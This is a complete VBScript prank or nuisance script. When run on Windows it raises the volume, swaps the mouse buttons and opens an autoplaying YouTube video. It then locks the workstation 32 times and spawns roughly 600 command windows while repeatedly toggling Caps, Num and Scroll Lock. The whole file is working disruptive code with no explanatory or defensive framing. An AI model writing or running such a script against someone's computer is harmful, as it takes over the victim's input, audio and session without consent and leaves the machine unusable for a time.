Set oShell = CreateObject ("WScript.Shell")
x = 599
i = 0
z = 0
oShell.run"%SystemRoot%\System32\SndVol.exe"
WScript.Sleep 100
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys"%{F4}"
oShell.Run "%systemroot%\System32\rundll32.exe user32.dll,SwapMouseButton"
oShell.Run("https://www.youtube.com/embed/y6120QOlsfU?rel=0&autoplay=1&iv_load_policy=3&controls=0")
do until z>31
z = z + 1
oShell.Run "%systemroot%\System32\rundll32.exe user32.dll,LockWorkStation", , True 'use on every line
oShell.SendKeys("{CAPSLOCK}")
oShell.SendKeys("{NUMLOCK}")
WScript.Sleep 1000
loop
do until i>x
i = i + 1
wscript.sleep 250
oShell.run "cmd.exe /k mode con: cols=20 lines=2 & color 0a & echo DUDUDUDUDUDUDUDUDU & @echo off"
oShell.SendKeys("{CAPSLOCK}")
oShell.SendKeys("{NUMLOCK}")
oShell.SendKeys("{SCROLLLOCK}")
loop